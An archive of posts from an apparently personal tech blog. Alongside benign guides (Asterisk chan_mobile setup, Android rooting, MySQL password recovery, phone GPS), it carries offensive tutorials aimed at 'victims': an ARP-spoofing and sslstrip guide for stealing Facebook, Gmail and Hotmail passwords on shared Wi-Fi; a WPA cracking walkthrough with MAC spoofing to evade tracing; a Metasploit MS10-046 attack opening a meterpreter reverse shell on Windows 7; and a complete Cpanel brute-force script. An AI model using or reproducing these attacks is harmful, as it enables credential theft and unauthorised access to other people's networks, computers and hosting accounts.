jump to navigation

Asterisk connection with Mobile phone using Chan_Mobile February 27, 2013

Posted by hasnain110 in Uncategorized.
56 comments

Hey.. Below are the simple steps to configure chan-mobile for asterisk to use mobile phone as outgoing trunk
The system i have used is as follow

OS: OpenSuse 12.2
Asterisk Version:certified-asterisk-1.8.11-cert8
Mobile Phone: Nokia C1-01

Step 1:

Download and and unzip asterisk into a folder

Step 2:

(a) ./configure –disable-xmldoc
(b) make menuconig ( goto Addon and select chan_mobile and save) as shown  below

Asterisk Module and Build Option Selection
**************************************************

Press ‘h’ for help.

— extended —
[*] chan_mobile
[ ] chan_ooh323
[ ] format_mp3
[ ] res_config_mysql
— deprecated —
[ ] app_mysql
[ ] app_saycountpl
[ ] cdr_mysql

(c) run make
(d) run make install
(e) run make samples

Step 3:

Make sure you have bluez pakage install if not run yum install bluez*

Step 4:

In Step 4 we will try to make sure that the bluetooth device is working on the system run command

hcitool dev

linux-ensr:/ # hcitool dev
Devices:
hci0    90:00:4E:99:7F:60

Note: my bluetooth adapter MAC address is 90:00:4E:99:7F:60 and I will be using it later in below steps

You should get an output like given below where hci0 is the bluetooth interface if you have connected to bluetooth then you should see output like below

linux-ensr:/ # hcitool dev
Devices:
hci1    BB:4A:BB:33:31:51
hci0    90:00:4E:99:7F:60

Step 5:

Now in this step we need to configure asterisk to listen to the available bluetooth device that is hci0. Goto /etc/asterisk/ and edit file chan_mobile.conf and add the following line under [general]

[adapter]
id=internal ( ID could be anything you want)
address=90:00:4E:99:7F:60

In this step we have defined the available bluetooth adapter for Asterisk to listen if you have more then two adapter add them accordinly with different ID and ofcourse MAC address

Now Asterisk is ready to detect available bluetooth devices since we have configured it to use the bluetooth device

Step 6:

As in Step 5 we have already configured Asterisk to use the available bluetooth now its time to scan the available mobile devices using Asterisk console. We will goto asterisk console using command asterisk -rvvvvv

Once inside the console type the command

linux-ensr*CLI> mobile search

This command should give you result something like this

linux-ensr*CLI> mobile search
Address                         Name                         Usable     Type                    Port
00:25:47:36:D8:C0   Nokia 5130c-2         Yes           Phone                 13
78:2E:EF:9C:3D:5E  Red                            Yes            Phone                 13

So now we have two usable devices in this example we will be using mobile device name Red ( its a nokia c1-01 mobile phone)

Note the mac address and port of the phone we will be using it in the next step

Step 7:

Edit the same file chan_mobile.conf as done in Step 5 earlier. Now we will add the details of Mobile phone taken in step 6

Simplpy add the following lines at the end of the conf file

[red]
address=78:2E:EF:9C:3D:5E
port=13
context=incoming-mobile
adapter=internal ===> This Adapter ID internal we hav already defined in step 5
group=1

Save and exit from the file

Step 8:

Now its time to pair the mobile phone with the system bluetooth adapter

use avabile GUI for bluetooth pairing to connect the mobile phone with system as shown in image below

Step 9:

Once paried goto asterisk console by typing asterisk -rvvvv and then restart asterisk by typing core restart now

Step 10:

Go back to asterisk console again by typing asterisk -rvvv once its loaded asterisk will try to connect to already paired mobile devie

Asterisk will try to initiate the connect if prompted on mobile / system for pairing accept it. You should see something like this on console

— Bluetooth Device red has connected, initializing…
— Bluetooth Device red initialized and ready.

Once connected you can run the command to see the status

Run the command mobile show devices on asterisk console

linux-ensr*CLI> mobile show devices
ID              Address           Group Adapter         Connected State      SMS
red             78:2E:EF:9C:3D:5E 1     internal        Yes       No Service No

If Connected status is YES it means you are ready to goto the next step

Step 10:

We will create the Dial plan now to make call go throug the mobile. Goto /etc/asterisk/extensions.conf and add the following lines at the end of the configuration file

[test]
exten => _X.,1,Dial(Mobile/red/${EXTEN},45)
_X.,n,Hangup

Herer red is the name of the mobile that I mentioned above in chan_mobile.conf in step 7

Save and exit

Step 11:

After making the dialplan now we have to create a sip account to make a test call designated for dial plan named [test]

Goto /etc/asterisk/sip.conf and edit it. Add the following lines at the end of the configurtion file

[test]
type=friend
host=dynamic
secret=test
dtmfmode=rfc2833
canreinvite=yes
nat=yes
qualify=yes
context=test

Save and exit

Step 12:

That is the final step simply use any sip dialer of your choice and use the credentials we defiened about in step 11 and make a test call

On asterisk console you should see call going to the mobile name (mine case its red )

== Using SIP RTP CoS mark 5
— Executing [03249255604@test:1] Dial(“SIP/test-00000000”, “Mobile/red/03249255604,45″) in new stack
— Called Mobile/red/03249255604

I think I pretty much tried to make it simple and easy. Asterisk Chan-Mobile does support more then two mobile phones that require some additional steps that I have not covered here, I run this knowledge sharing for free however small donations are always welcome.

If you are looking for more then one mobile solution please send me message or comment down to discuss

Do comment !

Advertisements

How to Root Motorola Droid Razr 4.0.4 November 19, 2012

Posted by hasnain110 in Uncategorized.
1 comment so far

This video tutorial that I have done will show you how you can run your CDMA Droid Razr/MAXX running the official ICS stock rom. This rooting process works on android version 4.0.4.

download file http://creadevandroid.com/download/DroidRazrRoot404.zip

Taken from : http://www.creadevandroid.com/how-to-root-droid-razr-4-0-4/

1. To start off with you need to go and click “menu”

2. After you click on the menu button you are going to go ahead and click on “system settings”

3. Once you are in settings you will have to scroll down and click on “developer options”

4. Make sure that “USB debugging and Allow mock locations” both have a check mark, if not click on them so they have a check mark

5. Download the zip file from the link, unzip the file and save it to your desktop

6. Click on the file you downloaded and the click on where it says “Driver” in this folder you will see two other files, these files are the drivers you will need. Download the appropriate files need for your computer, for example their is a 32-bit and 64-bit file you will download depending on whether your computer is 32-bit or 64-bit.

7. Connect your Droid Razr to your computer via the micro usb cable

8. Click on the root file you just downloaded and double click on where it says, “adb” and follow the prompt

9. After that completes, you will then click on where it says, “DroidRazrRoot404 and also follow the prompt

10. Your phone will restart and reboot and once your phone is back on you should see an application called, “superuser”

11. Congratulations you are now rooted! Don’t forget to subscribe to my youtube channel and if you have any questions, comments or concerns, leave them here on my website or on my youtube channel.

Hack Facebook/Hotmail/Gmail Password using BackTrack 5 (Man in the middle Attack) March 23, 2012

Posted by hasnain110 in Uncategorized.
56 comments

Guys was playing around with BT-5 and found something very interesting and quick way to hack SSL password

I wont take long explaining. If you want to know the nitty gritty do the google

Requirements:

1. One Laptop Install BT-5

2.Working Wireless Lan Card and connected to any hotspot

3. SSLStrip installted

4. Etthercap installed

5.urlsniffer installed

6. aprspoof installed

7. Basic knowledge of linux and network

Note: If you will try it using BackTrack-5 all will come pre-installed

Step 1:

In the first step we have to make sure that we are connected to a Wifi network and scan the available online node by using any network scanning software

Step 2:

One we know find the victim run this command and keep it running on the shell. This command will spoof the ARP request towards your PC

arpspoof -i wlan0 -t 192.168.2.149 192.168.2.1

Explanation: aprspoof -i Network interface card IP-OF-VICTIM ROUTER-IP-ADDRESS

Where -i switch is to define the interface in my case I used wireless so its wlan0 if you are trying it over ethernet it would be your appropiate eth0 or eth1 devices if you have more then one network interface card

Step 3

Now open another shell and execute the sslstrip

Note: If you are running BackTrack 5 then goto /pentest/web/sslstrip

./sslstrip -a -k -f

Keep this shell open and do not close

Step 4:

ettercap -Tq -L etterlogs -i wlan0

Also do not close this shell and keep it open. this is the shell where you will actually see the password

Step 5:

Open another shell and run this command

urlsnarf -v -i wlan0

This command will show you real time as your victim surf the internet

Step 7:

Enable IP Forwarding on your linux box execute the below command

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 8:

As a final step we have to create this below rule into IP Tables

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

Once all is done you will start seeing victim internet browing in the window that you opened in Step 5. Be patient till you see the customer logging into a website. If he is already logged in you will not be able to get his password.

NOTE: ALL INFORMATION SHARED ABOVE ARE ONLY FOR EADUCATION AND NETWOR SECURITY PURPOSE I TAKE NO RESPONSIBILTY FOR ANY ACT GOOD/BAD HAPPENED

*** Man in middle attack and stealing personal information is not allowed by LAW

If you face any issue do ask me and will do my best to help

Hacking Wireless Router WPA BackTrack 5 March 16, 2012

Posted by hasnain110 in Uncategorized.
52 comments

 

 

 

Guys Here is a quick How-to of cracking any wireless network. I will keep things simple stupid.

Requirement:

A PC installed with Linux Backtrack 5 RC2

Working Wireless LAN Card Installed (Of course) Smile

Updated Dictionary File with password (Do google if you do not know about it )

Goto any open area to find the victim

Step 1:

Run this command to check available Wlan adapters.

airmon-ng

It should give you output something like below.

 

1

Now we know that we have only one wireless interface wlan0 lets proceed to step 2

 

Step 2:

Now lets try to start the airmon service on the interface that we have just found in Step 1. Run the give command

airmon-ng start wlan0

2

Ignore the errors mentioned above in my case it did not create any trouble for me but you might want to kill the conflicting services if results are different then mine. By second step we have started the service/monitor on WLAN0 now we should have additional monitoring interface on the system. You can check if a new interface mon0 is added on your system or not by using command ifconfig else try the step 3

Step 3:

You should see another monitoring interface mon0 on your system by using command ifconfig or you can the same command we did on Step 1

3

Here we can see the new monitoring interface mon0

Step 4:

A good hacker is always suppose to leave no trace back of his break-in.If you run the command ifconfig and notice you will find that the monitoring interface mon0 and Wireless interface Wlan0 are sharing the same MAC address. In actual mon0 is sharing the same mac address as Wlan0. check the pic below

4

Now we have to put a fake mac address on the monitoring interface to leave no trace.Lets make the mon0 interface down by running the command

ifconfig mon0 down

Next lets change the MAC address of mon0 interface by running the below command

macchanger –m 00:11:22:33:44:55 mon0

5

The output actually shows the old and new Fake mac address.Now since we have changed the MAC address on MON0 lets bring the interface back up again using the below command

ifconfig mon0 up

Now just to be sure lets run the same command ‘ifconfig’ that we have already used earlier above in Step 4

ifconfig

6

Here we can see we have sucessfully changed the MAC address for our monitoring interface mon0

Step 5:

Lets start dumping the available wireless information. run the below command

airodump-ng mon0

7

 

Here my Victim router ESSID is AndroidHotSpot. The information that I need from here is

BSSID MAC details: D0:C1: B1:5B:AC:33

CHANNEL: 6

Step 6:

By now we have identified our victim its time to further narrow down this network. We need to know how many workstation/terminal connected to this wireless. Run this command with your network information that you obtained in Step 5:

airodump-ng –c 6 –w crackwpa –bssid 02:1A:11:FE:A4:CE

8

Here I can see that one client having mac address highlighed in green is connected to this hotspot. To find the password either you need to be patient to wait another client connect to this hotspot but time is money lets force this client to reconnect and make the handshake auth with the server so that we can take the packets

Note: Keep this ssh session close and open another terminal for Step 7. Do not close the existing session

Step 7:

Lets force the already connected session to make a auth handshake again

Run the given below command in the new terminal session

aireplay-ng –0 –4 –a  MAC-ADDR-OF-ROUTER –c MAC-ADDR-OF-CLIENT mon0

9

Final Step:

Now finally we have all the dump saved in the working directory we just need to crack the packet capture using dictionary file. Run the below command

aircrack-ng crackwpa-01.cap –w list

** crackwpa-01.cap is the filename of the capture packet

** list if the my dictionary file name

10

 

Kabooom ! You got the security Key !

I personally think the key to success is the dictionary list that you have

Hope you will enjoy my pretty simple steps to crack a secured Wireless Smile

Howto: Recover lost MySQL Root Password February 26, 2012

Posted by hasnain110 in Uncategorized.
add a comment

You can recover MySQL database server password with following five easy steps.

Step # 1: Stop the MySQL server process.

Step # 2: Start the MySQL (mysqld) server/daemon process with the –skip-grant-tables option so that it will not prompt for password.

Step # 3: Connect to mysql server as the root user.

Step # 4: Setup new mysql root account password i.e. reset mysql password.

Step # 5: Exit and restart the MySQL server.

Here are commands you need to type for each step (login as the root user):

Step # 1 : Stop mysql service

# /etc/init.d/mysql stop

Output:

Stopping MySQL database server: mysqld.
Step # 2: Start to MySQL server w/o password:

# mysqld_safe –skip-grant-tables &

Output:

[1] 5988
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[6025]: started
Step # 3: Connect to mysql server using mysql client:

# mysql -u root

Output:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
mysql>
Step # 4: Setup new MySQL root user password

mysql> use mysql;
mysql> update user set password=PASSWORD(“NEW-ROOT-PASSWORD”) where User=’root’;
mysql> flush privileges;
mysql> quit

Step # 5: Stop MySQL Server:

# /etc/init.d/mysql stop

Output:

Stopping MySQL database server: mysqld
STOPPING server from pid file /var/run/mysqld/mysqld.pid
mysqld_safe[6186]: ended
[1]+ Done mysqld_safe –skip-grant-tables
Step # 6: Start MySQL server and test it

# /etc/init.d/mysql start
# mysql -u root -p

METASPLOIT: Hacking windows 7 exploit December 17, 2011

Posted by hasnain110 in Uncategorized.
15 comments

 

 

 

Hey Guys. I will be giving a quick dirty how-to of exploiting a windows velunurbility to login to remove system with out username and password using Metasploit

Requirements:

1. MetaSploit Installed (Preferably BackTrac)

2. Ruby Installed (Install all the package of Ruby to avoid any issues)

3. Two OS running either on same as virtual or physically different

4. Target host must not be running any AV

Here are the quick Steps.

SCENARIO:

Machine 1:  Host Linux  Machine

Machine 2: Target Windows 7 Machine

Step 1:

Download and Install Metasploit Framework Source Code on the Machine 1. I prefer downloading from SVN. run the given below command on CLI

svn co https://www.metasploit.com/svn/framework3/trunk/

OR

Download directly from here:http://downloads.metasploit.com/data/releases/framework-latest.tar.bz2

Step 2:

Locate the file msfconsole. In my case it was under /opt/framework-x.x.x/app

Run it as ruby msfconsole

image

Step 3:

Now once you get the msf> prompt type the below command

search LNK

and look for the module exploit/windows/browser/ms10_046_shortcut_icon_dllloader

image

Step 4:

Now once we have found the desired module we will use this exploit by typing the below command

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

Once loaded your msf prompt should be inclusive of the loaded exploit. given below is the image

image

Step 5:

Now once the exploit is loaded we will set the payload for the above select exploit. In our scenario will be using reverse TCP payload. Type the below command to set payload

set payload windows/meterpreter/reverse_tcp

image

Step 6:

Now its time to do some configuration for the exploit/payload that we have just set. type the given command

show options

You should get below default output.

image

 

Step 7:

Now we have to set the local host to listen. Type the given below two commands

set SRVHOST x.x.x.x ( This will be your HOST IP address running metasploit )

Then run

set LHOST x.x.x.x ( This will be also be your HOST IP address running metasploit)

image

Step 8:

Now check if the above applied configuration is applied

image

 

Step 9:

Now Finally we will start to exploit. Run the command Exploit

Once executed we should “Server Started” (Make sure that your server is not running any web service on port 80)

image

Seems like all is ok till now Smile

 

Step 10:

On any Client machine simply open Internet Explorer and try to open http://x.x.x.x (IP of the MetaSploit server)

Note: it will give your a pop-up asking from permission click ALLOW.

**Make sure you do not have any AntiVirus running on the target PC

Step 11:

Once connection is established you should see something like below

image

Step 12:

You can check the number of successful connected session by running the command sessons in msf console

image

Step 13

Now as we can see that we have one victim connected its time to login to the system. run the command session –i 1

Once connected type linux command to browse inside the System..Enjoy Smile

image

 

Final Step:

This Documentation is purely for educational purpose. using it ethically or viciously its your individual act Smile .

Use it responsibly.  Comment if you like the post

Ending Note: Can not explain the details of each step due to lack of time:

Run Android on Laptop/Netbook November 18, 2011

Posted by hasnain110 in Uncategorized.
add a comment

Hey..Ever wonder that you can actually run the android on your laptop? Yes it is possible.

You will be needing a USB Flash drive with minimum 256 MB storage size and make sure all the data is deleted inside.

To make it easier I will be explain it step-by-step

Step1:
Get any USB Flash drive with minimum 256 MB empty storage

Step 2:
Download the Android .iso from

Step 3:

Once step 2 is done now download the software UNetbootin from and install/run it

Step 4:

Now run the software UNetbootin click the bullet beside Diskimage, then click the “… “ button and select the Android ISO file you just downloaded. Finally, select the correct flash drive or memory card in the menu on the bottom, and click Ok

UNetbootin

The software will extract and copy the files into your USB making it boot-able

Step 5

Once extracted the software will ask you to reboot the system , Restart the system and make sure that system is configured to boot from USB

Conclusion

Enjoy the power of a super FAST mobile OS running on a laptop. although it not too stable but still worth trying. Do not need to worry about messing up with your existing system setting as its running directly from USB, Someday it will surely replace LIVE Distros !

If you find this post helpful and easy please do comment

Howto use HTC Mobile GPS on PC/GoogleEarth June 25, 2011

Posted by hasnain110 in Uncategorized.
3 comments

Hey Fellow

Finllay after spending many days of exploring how to use my HTC Wildfire GPS on my laptop finally I have figured out the science of how to get it done. Over internet there is load of information of getting it done but I found it really really poor as the steps  are a little complicated so I’m here writing this easy howto of getting it done

In this guide you will learn how to use your android phone as a standalone gps for google earth on pc.

Note: Your phone and computer must have bluetooth.

1. Download and install google earth on your pc.
2. Download GooPsPro2_5_3Beta.exe -Thanks developer Dave for compatiblity code change
3. Download and install BlueNMEA from Android Market

Setup:

1. Install th BlueNMEA softwar onto your Android from this link (http://max.kellermann.name/download/blue-nmea/BlueNMEA-2.1.2.apk) once installed run only without making any change in the software. Make sure the GPS option is selected and TCP STATUS should be listening on port XYZ ( in case if it shows already listening please give a soft reboot to your HTC and do the same again)

2. Once install pair your HTC with your laptop , while pairing you will find a popup baloon in the system tray showing that the windows is trying to download and install some update/drivers.. let the windows finish its job

3. Once pairing is done goto the settings of  bluetooth on your laptop  click on the second tab COM PORTS and make sure you have an outgoing ports already created for BLUENMEA  by Window while system performing Step 2

3. Start the Goops program you downloaded earlier. Goto options and select the com port you saw associated with BlueNMEA software . Uncheck Autoconnect, Autoscan and Compress.

4. Now press Connect on the GOOPS program , GoogleEarth should open and Goops will say opening COM”#”: #- the number you selected

5. On your phone open BlueMNEA,your bluetooth pc should be listed, select it. If all went well it will establish a connection and you will then have gps on your pc. If it doesnt connect, often trying again will fix it. If not, something else is wrong.

It worked for me great. Let your comments if you have any confusion and will try my best to reply ASAP

June 19, 2011

Posted by hasnain110 in Uncategorized.
add a comment

BruteForce tool using linux shell script June 17, 2011

Posted by hasnain110 in Uncategorized.
45 comments

Hello, did you ever try to brute force a website login page and you didn’t find the right tool?
it always happen, so i will explain how i did it with linux shell script.

I wrote a small script to brute force Cpanel accounts:
============================================
#!/usr/bin/env bash
# Cpanel BruteForce v1.0
# Coded By Dr.Death 2008
# drdeath[at]bsdmail.org
#
# This is a simple script that will brute force Cpanel account
#
# I do not take any reponsibilty for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!
#############################
# _____ _____ _ _
# | __ \ | __ \ | | | |
# | | | |_ __| | | | ___ __ _| |_| |__
# | | | | ‘__| | | |/ _ \/ _` | __| ‘_ \
# | |__| | | _| |__| | __/ (_| | |_| | | |
# |_____/|_|(_)_____/ \___|\__,_|\__|_| |_|

#############################

echo “.::Cpanel BruteForcer By Dr.Death::.”
echo
echo -n “Enter domain name for the Cpanel account you want bruteforce:
> ”
read site

n=`cat pass_list | wc -l`
for (( i=1; i <= $n; i++));
do

password=`sed -n "$i"p pass_list`

b=`lynx -dump -nolist -auth="$password" ""$site":2082"`

echo trying password $password

if [ ! -z "$b" ]; then

echo "Bengo WebSite "$site" password is: "$password""
echo "Have Fun ;)"
exit 0
fi
done
echo
echo "brute force complete"
echo "no luck, try better dictionary"
exit
==========================================

lets explain what we did:

#!/usr/bin/env bash
to execute the script using bash shell from the environment "env".

read site
set the user input as variable "$site" which will be the website domain name.

n=`cat pass_list | wc -l`
this will print how many lines in file "pass_list" which include passwords list.

for (( i=1; i <= $n; i++));
we put the number we got for the variable "$n" in a for loop, so for example if file pass_list have 1000 password on it we will do the for loop 1000 time, to try all the passwords.

password=`sed -n "$i"p pass_list`
here we use "sed" the steam editor with option "p" to print all the passwords in the pass_list in each loop.
for example in loop number 4 variable $i will have value of 4 and the sed comand will be like this:
"sed -n 4p pass_list" which will print the 4th line from the password file pass_list.

b=`lynx -dump -nolist -auth="$password" ""$site":2082"`
here we use "lynx" the linux command line browser as a socket to connect to the target website.
we use option "-dump" to dump the output instead of waiting user action, "-nolist" to disable the link list feature in dumps, "-auth=" use to set authorization ID and password for protected documents.
for example to access cpanel account for website "example.com" with username "user" and password "pass" it will be like this:
"lynx -dump -nolist -auth=user:pass http://www.example.com:2082&quot;

so password file pass_list should include the usernames and passwords in this format: "username:password"

if [ ! -z "$b" ]; then
here we use if statment with option "! -z" which mean if value of "$b" is not equal to Zero we are logged in and the password is the value of the variable "$password" in the loop we are in and exit successfuly, else continue the loop.

Note: You will need your own password dictionary file to make it work